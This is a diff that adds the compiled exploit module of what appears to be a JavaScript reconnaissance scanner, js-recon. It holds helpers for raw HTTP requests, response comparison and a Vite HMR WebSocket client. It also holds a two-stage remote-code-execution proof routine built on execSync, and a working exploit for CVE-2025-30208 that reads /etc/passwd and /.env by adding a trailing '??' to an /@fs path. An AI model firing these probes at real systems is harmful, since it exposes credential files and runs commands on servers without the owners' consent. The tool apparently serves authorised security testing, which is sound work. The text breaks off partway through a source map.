+ {"version":3,"file":"compareResponses.js","sourceRoot":"","sources":["../../../src/exploit/utility/compareResponses.ts"],"names":[],"mappings":"AAcA,MAAM,eAAe,GAAG,CAAC,MAAc,EAAW,EAAE,CAAC,MAAM,IAAI,GAAG,IAAI,MAAM,GAAG,GAAG,CAAC;AAEnF;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,aAAa,GAAG,CACzB,QAA4B,EAC5B,OAA2B,EAC3B,OAA2B,EACf,EAAE;IACd,MAAM,aAAa,GAAG,QAAQ,CAAC,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC;IACzD,MAAM,aAAa,GAAG,CAAC,OAAO,aAAP,OAAO,cAAP,OAAO,GAAI,EAAE,CAAC,CAAC,MAAM,CACxC,CAAC,MAAM,EAAE,EAAE,CAAC,OAAO,CAAC,IAAI,CAAC,QAAQ,CAAC,MAAM,CAAC,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,QAAQ,CAAC,MAAM,CAAC,CAC/E,CAAC;IACF,MAAM,eAAe,GAAG,OAAO,CAAC,IAAI,CAAC,MAAM,GAAG,QAAQ,CAAC,IAAI,CAAC,MAAM,CAAC;IAEnE,MAAM,kBAAkB,GAAG,CAAC,eAAe,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC;IAC7D,MAAM,mBAAmB,GAAG,eAAe,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;IAC5D,MAAM,gBAAgB,GAClB,kBAAkB;QAClB,mBAAmB;QACnB,CAAC,OAAO,KAAK,SAAS,IAAI,OAAO,CAAC,MAAM,KAAK,CAAC,IAAI,aAAa,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;IAEhF,OAAO;QACH,aAAa;QACb,aAAa,EAAE,MAAM,CAAC,MAAM,CAAC,aAAa,CAAC;QAC3C,eAAe;QACf,gBAAgB;KACnB,CAAC;AACN,CAAC,CAAC;AAEF,eAAe,aAAa,CAAC"}
@@ -0,0 +1,22 @@
1
+ import fs from "fs";
2
+ import { printMsg, MSG } from "../../utility/printMsg.js";
3
+ export const toExploitFinding = (cveId, commonName, framework, target, outcome) => {
4
+ var _a;
5
+ return ({
6
+ cveId,
7
+ commonName,
8
+ framework,
9
+ target,
10
+ timestamp: new Date().toISOString(),
11
+ vulnerable: outcome.vulnerable,
12
+ evidence: outcome.evidence,
13
+ discoveredUrls: outcome.discoveredUrls,
14
+ execOutput: typeof ((_a = outcome.rawFindingExtras) === null || _a === void 0 ? void 0 : _a.execOutput) === "string" ? outcome.rawFindingExtras.execOutput : undefined,
15
+ });
16
+ };
17
+ export const generateExploitOutput = (outputFile, findings) => {
18
+ printMsg(MSG.Header, "[i] Generating exploit output...");
19
+ fs.writeFileSync(outputFile, JSON.stringify(findings, null, 2));
20
+ printMsg(MSG.Run, "[✓] Exploit output generated successfully.");
21
+ };
22
+ //# sourceMappingURL=outputHelper.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"outputHelper.js","sourceRoot":"","sources":["../../../src/exploit/utility/outputHelper.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,2BAA2B,CAAC;AAoB1D,MAAM,CAAC,MAAM,gBAAgB,GAAG,CAC5B,KAAa,EACb,UAAkB,EAClB,SAA2B,EAC3B,MAAc,EACd,OAAuB,EACT,EAAE;;IAAC,OAAA,CAAC;QAClB,KAAK;QACL,UAAU;QACV,SAAS;QACT,MAAM;QACN,SAAS,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;QACnC,UAAU,EAAE,OAAO,CAAC,UAAU;QAC9B,QAAQ,EAAE,OAAO,CAAC,QAAQ;QAC1B,cAAc,EAAE,OAAO,CAAC,cAAc;QACtC,UAAU,EACN,OAAO,CAAA,MAAA,OAAO,CAAC,gBAAgB,0CAAE,UAAU,CAAA,KAAK,QAAQ,CAAC,CAAC,CAAC,OAAO,CAAC,gBAAgB,CAAC,UAAU,CAAC,CAAC,CAAC,SAAS;KACjH,CAAC,CAAA;CAAA,CAAC;AAEH,MAAM,CAAC,MAAM,qBAAqB,GAAG,CAAC,UAAkB,EAAE,QAA0B,EAAQ,EAAE;IAC1F,QAAQ,CAAC,GAAG,CAAC,MAAM,EAAE,kCAAkC,CAAC,CAAC;IACzD,EAAE,CAAC,aAAa,CAAC,UAAU,EAAE,IAAI,CAAC,SAAS,CAAC,QAAQ,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;IAChE,QAAQ,CAAC,GAAG,CAAC,GAAG,EAAE,4CAA4C,CAAC,CAAC;AACpE,CAAC,CAAC"}
@@ -0,0 +1,54 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ import { withActiveProxyDispatcher } from "../../utility/makeReq.js";
11
+ import { progressError } from "../../utility/progressLog.js";
12
+ /**
13
+ * Raw fetch helper for the `exploit` module — a sibling to `../../utility/makeReq.ts`, not a
14
+ * modification of it. `makeRequest` silently discards non-2xx and WAF/CDN-shaped responses and
15
+ * caches to disk; exploit probes need the raw non-2xx baseline (redirects, 403s), exact bytes with
16
+ * no caching, and manual redirect handling so a 307 from a bypassed middleware check is observable
17
+ * as a status code rather than being silently followed.
18
+ *
19
+ * Returns null only on network-level failure (DNS, connection refused, timeout) — never throws for
20
+ * non-2xx responses.
21
+ */
22
+ export const rawRequest = (url, opts) => __awaiter(void 0, void 0, void 0, function* () {
23
+ try {
24
+ return yield withActiveProxyDispatcher((dispatcherOpts) => __awaiter(void 0, void 0, void 0, function* () {
25
+ var _a;
26
+ const timeoutController = new AbortController();
27
+ const timeoutId = setTimeout(() => timeoutController.abort(), opts.timeout);
28
+ const signals = opts.signal ? [opts.signal, timeoutController.signal] : [timeoutController.signal];
29
+ try {
30
+ const response = yield fetch(url, Object.assign(Object.assign({}, dispatcherOpts), { method: (_a = opts.method) !== null && _a !== void 0 ? _a : "GET", headers: opts.headers, body: opts.body, redirect: "manual", signal: AbortSignal.any(signals) }));
31
+ const bodyBuffer = Buffer.from(yield response.arrayBuffer());
32
+ const headers = {};
33
+ response.headers.forEach((value, name) => {
34
+ headers[name.toLowerCase()] = value;
35
+ });
36
+ return {
37
+ status: response.status,
38
+ headers,
39
+ body: bodyBuffer.toString("utf8"),
40
+ bodyBuffer,
41
+ };
42
+ }
43
+ finally {
44
+ clearTimeout(timeoutId);
45
+ }
46
+ }));
47
+ }
48
+ catch (err) {
49
+ progressError(`[!] Raw exploit request failed for ${url}: ${err}`);
50
+ return null;
51
+ }
52
+ });
53
+ export default rawRequest;
54
+ //# sourceMappingURL=rawRequest.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"rawRequest.js","sourceRoot":"","sources":["../../../src/exploit/utility/rawRequest.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,yBAAyB,EAAgC,MAAM,0BAA0B,CAAC;AACnG,OAAO,EAAE,aAAa,EAAE,MAAM,8BAA8B,CAAC;AAiB7D;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,UAAU,GAAG,CAAO,GAAW,EAAE,IAAuB,EAA+B,EAAE;IAClG,IAAI,CAAC;QACD,OAAO,MAAM,yBAAyB,CAAC,CAAO,cAAuC,EAAE,EAAE;;YACrF,MAAM,iBAAiB,GAAG,IAAI,eAAe,EAAE,CAAC;YAChD,MAAM,SAAS,GAAG,UAAU,CAAC,GAAG,EAAE,CAAC,iBAAiB,CAAC,KAAK,EAAE,EAAE,IAAI,CAAC,OAAO,CAAC,CAAC;YAC5E,MAAM,OAAO,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,MAAM,EAAE,iBAAiB,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC,iBAAiB,CAAC,MAAM,CAAC,CAAC;YAEnG,IAAI,CAAC;gBACD,MAAM,QAAQ,GAAG,MAAM,KAAK,CAAC,GAAG,EAAE,gCAC3B,cAAc,KACjB,MAAM,EAAE,MAAA,IAAI,CAAC,MAAM,mCAAI,KAAK,EAC5B,OAAO,EAAE,IAAI,CAAC,OAAO,EACrB,IAAI,EAAE,IAAI,CAAC,IAAI,EACf,QAAQ,EAAE,QAAQ,EAClB,MAAM,EAAE,WAAW,CAAC,GAAG,CAAC,OAAO,CAAC,GACpB,CAAC,CAAC;gBAElB,MAAM,UAAU,GAAG,MAAM,CAAC,IAAI,CAAC,MAAM,QAAQ,CAAC,WAAW,EAAE,CAAC,CAAC;gBAC7D,MAAM,OAAO,GAA2B,EAAE,CAAC;gBAC3C,QAAQ,CAAC,OAAO,CAAC,OAAO,CAAC,CAAC,KAAK,EAAE,IAAI,EAAE,EAAE;oBACrC,OAAO,CAAC,IAAI,CAAC,WAAW,EAAE,CAAC,GAAG,KAAK,CAAC;gBACxC,CAAC,CAAC,CAAC;gBAEH,OAAO;oBACH,MAAM,EAAE,QAAQ,CAAC,MAAM;oBACvB,OAAO;oBACP,IAAI,EAAE,UAAU,CAAC,QAAQ,CAAC,MAAM,CAAC;oBACjC,UAAU;iBACb,CAAC;YACN,CAAC;oBAAS,CAAC;gBACP,YAAY,CAAC,SAAS,CAAC,CAAC;YAC5B,CAAC;QACL,CAAC,CAAA,CAAC,CAAC;IACP,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACX,aAAa,CAAC,sCAAsC,GAAG,KAAK,GAAG,EAAE,CAAC,CAAC;QACnE,OAAO,IAAI,CAAC;IAChB,CAAC;AACL,CAAC,CAAA,CAAC;AAEF,eAAe,UAAU,CAAC"}
@@ -0,0 +1,49 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
11
+ /**
12
+ * Escapes a string for safe interpolation inside a single-quoted JS string literal embedded in a
13
+ * generated payload (e.g. `'<cmd>'` inside `cp.execSync('<cmd>')`). Backslashes MUST be escaped
14
+ * first — escaping the quote before the backslash would double-escape any backslash a prior quote
15
+ * substitution just inserted, and a command containing a literal backslash without this ordering
16
+ * could otherwise break out of the string literal.
17
+ */
18
+ export const escapeSingleQuotedLiteral = (value) => value.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
19
+ /** Same as `escapeSingleQuotedLiteral`, for a double-quoted JS string literal. */
20
+ export const escapeDoubleQuotedLiteral = (value) => value.replace(/\\/g, "\\\\").replace(/"/g, '\\"');
21
+ /**
22
+ * Shared two-stage RCE-proof choreography for CVE-2026-71320 (Nuxt Server Island) and
23
+ * CVE-2025-55182 (React Flight RCE). Both use the same pattern: a stage-1 request triggers
24
+ * `import('node:child_process').then(cp => cp.execSync(cmd))` server-side and stashes the result
25
+ * (e.g. on `globalThis.__pocOut`), and stage 2 is an identically-shaped request that reads it back.
26
+ * Stage 1's dynamic `import()` resolves asynchronously — its promise may not have settled by the
27
+ * time stage 1's HTTP response is sent, so stage 2 is retried with a short delay until it returns
28
+ * a non-null result or the retry budget is exhausted.
29
+ *
30
+ * Only the two-stage request/retry orchestration is shared; payload construction (template
31
+ * injection string, gadget chain, hash computation) stays CVE-specific in each handler.
32
+ */
33
+ export const runSandboxRceProof = (handlers_1, cmd_1, ...args_1) => __awaiter(void 0, [handlers_1, cmd_1, ...args_1], void 0, function* (handlers, cmd, options = {}) {
34
+ var _a, _b;
35
+ const retries = (_a = options.retries) !== null && _a !== void 0 ? _a : 3;
36
+ const delayMs = (_b = options.delayMs) !== null && _b !== void 0 ? _b : 1500;
37
+ yield handlers.sendStage1(cmd);
38
+ for (let attempt = 0; attempt < retries; attempt++) {
39
+ if (attempt > 0)
40
+ yield sleep(delayMs);
41
+ const output = yield handlers.sendStage2();
42
+ if (output !== null && output.length > 0) {
43
+ return { output, succeeded: true };
44
+ }
45
+ }
46
+ return { output: null, succeeded: false };
47
+ });
48
+ export default runSandboxRceProof;
49
+ //# sourceMappingURL=sandboxRce.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"sandboxRce.js","sourceRoot":"","sources":["../../../src/exploit/utility/sandboxRce.ts"],"names":[],"mappings":";;;;;;;;;AAiBA,MAAM,KAAK,GAAG,CAAC,EAAU,EAAiB,EAAE,CAAC,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE,CAAC,UAAU,CAAC,OAAO,EAAE,EAAE,CAAC,CAAC,CAAC;AAE/F;;;;;;GAMG;AACH,MAAM,CAAC,MAAM,yBAAyB,GAAG,CAAC,KAAa,EAAU,EAAE,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;AAEtH,kFAAkF;AAClF,MAAM,CAAC,MAAM,yBAAyB,GAAG,CAAC,KAAa,EAAU,EAAE,CAAC,KAAK,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;AAEtH;;;;;;;;;;;GAWG;AACH,MAAM,CAAC,MAAM,kBAAkB,GAAG,+BAIL,EAAE,sEAH3B,QAA4B,EAC5B,GAAW,EACX,UAA6B,EAAE;;IAE/B,MAAM,OAAO,GAAG,MAAA,OAAO,CAAC,OAAO,mCAAI,CAAC,CAAC;IACrC,MAAM,OAAO,GAAG,MAAA,OAAO,CAAC,OAAO,mCAAI,IAAI,CAAC;IAExC,MAAM,QAAQ,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC;IAE/B,KAAK,IAAI,OAAO,GAAG,CAAC,EAAE,OAAO,GAAG,OAAO,EAAE,OAAO,EAAE,EAAE,CAAC;QACjD,IAAI,OAAO,GAAG,CAAC;YAAE,MAAM,KAAK,CAAC,OAAO,CAAC,CAAC;QACtC,MAAM,MAAM,GAAG,MAAM,QAAQ,CAAC,UAAU,EAAE,CAAC;QAC3C,IAAI,MAAM,KAAK,IAAI,IAAI,MAAM,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;YACvC,OAAO,EAAE,MAAM,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC;QACvC,CAAC;IACL,CAAC;IAED,OAAO,EAAE,MAAM,EAAE,IAAI,EAAE,SAAS,EAAE,KAAK,EAAE,CAAC;AAC9C,CAAC,CAAA,CAAC;AAEF,eAAe,kBAAkB,CAAC"}
@@ -0,0 +1,28 @@
1
+ const RULE_TECH_MAP = {
2
+ next: "next",
3
+ vite: "all",
4
+ nuxt: "all",
5
+ angular: "angular",
6
+ react: "react",
7
+ };
8
+ /**
9
+ * Maps an exploit outcome to the `analyze`/`report` EngineOutput shape so `report --exploit-json`
10
+ * can feed exploit findings into the existing SQLite/HTML pipeline with zero report-side schema
11
+ * changes. `Rule.severity` has no "critical" tier — RCE-class CVEs map to "high", the type's
12
+ * ceiling, rather than inventing a new severity value.
13
+ */
14
+ export const toEngineOutput = (cve, target, outcome) => ({
15
+ ruleId: cve.id,
16
+ ruleName: cve.commonName,
17
+ ruleType: "exploit",
18
+ ruleDescription: cve.description,
19
+ ruleAuthor: "js-recon",
20
+ ruleTech: [RULE_TECH_MAP[cve.framework]],
21
+ severity: "high",
22
+ message: `${outcome.evidence}${outcome.discoveredUrls.length > 0
23
+ ? ` | Discovered: ${outcome.discoveredUrls.slice(0, 5).join(", ")}${outcome.discoveredUrls.length > 5 ? ", ..." : ""}`
24
+ : ""}`,
25
+ findingLocation: target,
26
+ });
27
+ export default toEngineOutput;
28
+ //# sourceMappingURL=toEngineOutput.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"toEngineOutput.js","sourceRoot":"","sources":["../../../src/exploit/utility/toEngineOutput.ts"],"names":[],"mappings":"AAIA,MAAM,aAAa,GAAuE;IACtF,IAAI,EAAE,MAAM;IACZ,IAAI,EAAE,KAAK;IACX,IAAI,EAAE,KAAK;IACX,OAAO,EAAE,SAAS;IAClB,KAAK,EAAE,OAAO;CACjB,CAAC;AAEF;;;;;GAKG;AACH,MAAM,CAAC,MAAM,cAAc,GAAG,CAAC,GAAgB,EAAE,MAAc,EAAE,OAAuB,EAAgB,EAAE,CAAC,CAAC;IACxG,MAAM,EAAE,GAAG,CAAC,EAAE;IACd,QAAQ,EAAE,GAAG,CAAC,UAAU;IACxB,QAAQ,EAAE,SAAS;IACnB,eAAe,EAAE,GAAG,CAAC,WAAW;IAChC,UAAU,EAAE,UAAU;IACtB,QAAQ,EAAE,CAAC,aAAa,CAAC,GAAG,CAAC,SAAS,CAAC,CAAC;IACxC,QAAQ,EAAE,MAAM;IAChB,OAAO,EAAE,GAAG,OAAO,CAAC,QAAQ,GACxB,OAAO,CAAC,cAAc,CAAC,MAAM,GAAG,CAAC;QAC7B,CAAC,CAAC,kBAAkB,OAAO,CAAC,cAAc,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,GAAG,OAAO,CAAC,cAAc,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,EAAE,EAAE;QACtH,CAAC,CAAC,EACV,EAAE;IACF,eAAe,EAAE,MAAM;CAC1B,CAAC,CAAC;AAEH,eAAe,cAAc,CAAC"}
@@ -0,0 +1,78 @@
1
+ import WebSocket from "ws";
2
+ import * as globals from "../../utility/globals.js";
3
+ /**
4
+ * Pure frame-matcher: given the id we sent and a raw WS frame payload (already JSON-parsed),
5
+ * decides whether this frame is the response to our request and extracts its result. Kept
6
+ * separate from the socket I/O in `sendRpcAndAwait` so it's unit-testable without a real socket.
7
+ */
8
+ export const matchRpcResponse = (sentId, frame) => {
9
+ if (typeof frame !== "object" || frame === null)
10
+ return { matched: false };
11
+ const anyFrame = frame;
12
+ const data = anyFrame.data;
13
+ if (!data || data.id !== sentId)
14
+ return { matched: false };
15
+ if (anyFrame.type === "error" || data.error)
16
+ return { matched: true, result: undefined };
17
+ return { matched: true, result: "result" in data ? data.result : data };
18
+ };
19
+ /**
20
+ * Connects to a Vite dev server's HMR WebSocket endpoint using the `vite-hmr` subprotocol.
21
+ *
22
+ * Note: does not currently route through js-recon's configured outbound proxy (`ws` needs a
23
+ * classic Node http(s).Agent, not undici's Dispatcher used elsewhere in this codebase) — this is a
24
+ * known, documented gap for proxied exploit runs against CVE-2026-39363, not a silent failure.
25
+ */
26
+ export const connectViteHmr = (baseUrl, timeout) => {
27
+ const wsUrl = baseUrl.replace(/^http/, "ws").replace(/\/$/, "");
28
+ const insecure = globals.getInsecure();
29
+ return new Promise((resolve, reject) => {
30
+ const ws = new WebSocket(wsUrl, "vite-hmr", {
31
+ rejectUnauthorized: !insecure,
32
+ handshakeTimeout: timeout,
33
+ });
34
+ const timer = setTimeout(() => {
35
+ ws.terminate();
36
+ reject(new Error("WebSocket connect timeout"));
37
+ }, timeout);
38
+ ws.once("open", () => {
39
+ clearTimeout(timer);
40
+ resolve(ws);
41
+ });
42
+ ws.once("error", (err) => {
43
+ clearTimeout(timer);
44
+ reject(err);
45
+ });
46
+ });
47
+ };
48
+ /** Sends a `vite:invoke` RPC frame and resolves with its matching response, or rejects on timeout. */
49
+ export const sendRpcAndAwait = (ws, message, timeoutMs) => {
50
+ return new Promise((resolve, reject) => {
51
+ const onMessage = (raw) => {
52
+ let parsed;
53
+ try {
54
+ parsed = JSON.parse(raw.toString());
55
+ }
56
+ catch (_a) {
57
+ return;
58
+ }
59
+ const { matched, result } = matchRpcResponse(message.data.id, parsed);
60
+ if (matched) {
61
+ cleanup();
62
+ resolve(result);
63
+ }
64
+ };
65
+ const timer = setTimeout(() => {
66
+ cleanup();
67
+ reject(new Error("RPC response timeout"));
68
+ }, timeoutMs);
69
+ const cleanup = () => {
70
+ clearTimeout(timer);
71
+ ws.off("message", onMessage);
72
+ };
73
+ ws.on("message", onMessage);
74
+ ws.send(JSON.stringify(message));
75
+ });
76
+ };
77
+ export default connectViteHmr;
78
+ //# sourceMappingURL=wsClient.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"wsClient.js","sourceRoot":"","sources":["../../../src/exploit/utility/wsClient.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,44 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ import rawRequest from "../utility/rawRequest.js";
11
+ import diffResponses from "../utility/compareResponses.js";
12
+ /** Absolute paths to probe. Any one confirming the bypass is sufficient proof. */
13
+ const CANDIDATE_FILES = ["/etc/passwd", "/.env"];
14
+ /** Content markers that only a real file read would produce. */
15
+ const FILE_MARKERS = {
16
+ "/etc/passwd": "root:",
17
+ "/.env": "=",
18
+ };
19
+ export const buildFsPath = (absPath) => `/@fs${absPath}?import&raw`;
20
+ /** The exact CVE-2025-30208 bypass: a trailing double '?' defeats the fs.deny query-string regex. */
21
+ export const buildDoubleQuestionMarkPath = (absPath) => `/@fs${absPath}?import&raw??`;
22
+ const cve202530208 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
23
+ for (const absPath of CANDIDATE_FILES) {
24
+ const baselineUrl = new URL(buildFsPath(absPath), ctx.baseUrl).toString();
25
+ const payloadUrl = new URL(buildDoubleQuestionMarkPath(absPath), ctx.baseUrl).toString();
26
+ const baseline = yield rawRequest(baselineUrl, { timeout: ctx.timeout, signal: ctx.signal });
27
+ const payload = yield rawRequest(payloadUrl, { timeout: ctx.timeout, signal: ctx.signal });
28
+ if (!baseline || !payload)
29
+ continue;
30
+ const marker = FILE_MARKERS[absPath];
31
+ const diff = diffResponses(baseline, payload, [marker]);
32
+ if (diff.becameSuccessful) {
33
+ return {
34
+ vulnerable: true,
35
+ evidence: `fs.deny bypassed for ${absPath} via trailing double '?' (baseline status ${baseline.status} -> payload status ${payload.status}).`,
36
+ discoveredUrls: [payloadUrl],
37
+ rawFindingExtras: { file: absPath },
38
+ };
39
+ }
40
+ }
41
+ return { vulnerable: false, evidence: "No fs.deny bypass observed for candidate files.", discoveredUrls: [] };
42
+ });
43
+ export default cve202530208;
44
+ //# sourceMappingURL=cve-2025-30208.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"cve-2025-30208.js","sourceRoot":"","sources":["../../../src/exploit/vite/cve-2025-30208.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,UAAU,MAAM,0BAA0B,CAAC;AAClD,OAAO,aAAa,MAAM,gCAAgC,CAAC;AAG3D,kFAAkF;AAClF,MAAM,eAAe,GAAG,CAAC,aAAa,EAAE,OAAO,CAAU,CAAC;AAE1D,gEAAgE;AAChE,MAAM,YAAY,GAA2B;IACzC,aAAa,EAAE,OAAO;IACtB,OAAO,EAAE,GAAG;CACf,CAAC;AAEF,MAAM,CAAC,MAAM,WAAW,GAAG,CAAC,OAAe,EAAU,EAAE,CAAC,OAAO,OAAO,aAAa,CAAC;AAEpF,qGAAqG;AACrG,MAAM,CAAC,MAAM,2BAA2B,GAAG,CAAC,OAAe,EAAU,EAAE,CAAC,OAAO,OAAO,eAAe,CAAC;AAEtG,MAAM,YAAY,GAAmB,CAAO,GAAmB,EAA2B,EAAE;IACxF,KAAK,MAAM,OAAO,IAAI,eAAe,EAAE,CAAC;QACpC,MAAM,WAAW,GAAG,IAAI,GAAG,CAAC,WAAW,CAAC,OAAO,CAAC,EAAE,GAAG,CAAC,OAAO,CAAC,CAAC,QAAQ,EAAE,CAAC;QAC1E,MAAM,UAAU,GAAG,IAA